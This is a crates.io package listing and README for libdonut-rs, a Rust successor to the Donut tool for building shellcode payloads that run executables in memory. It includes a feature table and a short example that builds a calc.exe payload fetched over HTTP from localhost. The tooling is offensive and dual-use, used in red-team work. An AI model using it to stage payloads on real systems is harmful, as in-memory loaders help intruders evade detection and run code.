| Crates.io | libdonut-rs |
| lib.rs | libdonut-rs |
| version | 0.1.0 |
| created_at | 2025-11-26 10:23:29.054819+00 |
| updated_at | 2025-11-26 10:23:29.054819+00 |
| description | Public API for the Donut-rs project |
| homepage | |
| repository | https://github.com/mrLochness350/donut-rs |
| max_upload_size | |
| id | 1951219 |
| size | 1,468,821 |
A spiritual successor for TheWover's Donut written in Rust
This crate provides the full API for building Donut-rs payloads. For the CLI tool, visit this link
[!WARNING] Currently only the Windows loader is supported. The Unix loader is currently gated behind the
unstablefeature due to unexpected segmentation faults. The Script loader is currently unavailable as well due to time constraints.
cargo cli:cargo add libdonut-rs
Cargo.toml:libdonut-rs = "0.1.0"
| name | description |
|---|---|
loader |
Feature that enables the no_std loader components used for in-memory execution |
logging |
Enables verbose console logging (intended only for debugging since it's VERY noisy) |
libc |
Required by the (currently unstable) Unix loader. May be removed in the future |
unstable |
WIP components and features that are not yet ready for release |
std |
Enables the high-level API for generating and building payloads. Enabled by default. |
use std::io;
use libdonut_rs::{Donut, DonutConfig, DonutHttpInstance};
fn main() -> io::Result<()> {
let http_opts = DonutHttpInstance::new("http://127.0.0.1:9001", Some("/payload.bin"), 5, Some("GET"), false);
let cfg = DonutConfig::new("C:\\Windows\\System32\\calc.exe").http_options(Some(http_opts));
println!("Created config: {cfg:?}");
let mut donut = Donut::new(&cfg)?;
println!("Created donut object");
donut.build()?;
println!("Finished building donut object");
let p = donut.payload()?;
let md = donut.metadata();
println!("Metadata: {md:?}");
println!("Payload size: {}", p.len());
Ok(())
}
msvc toolkit in general) currently cause segfaults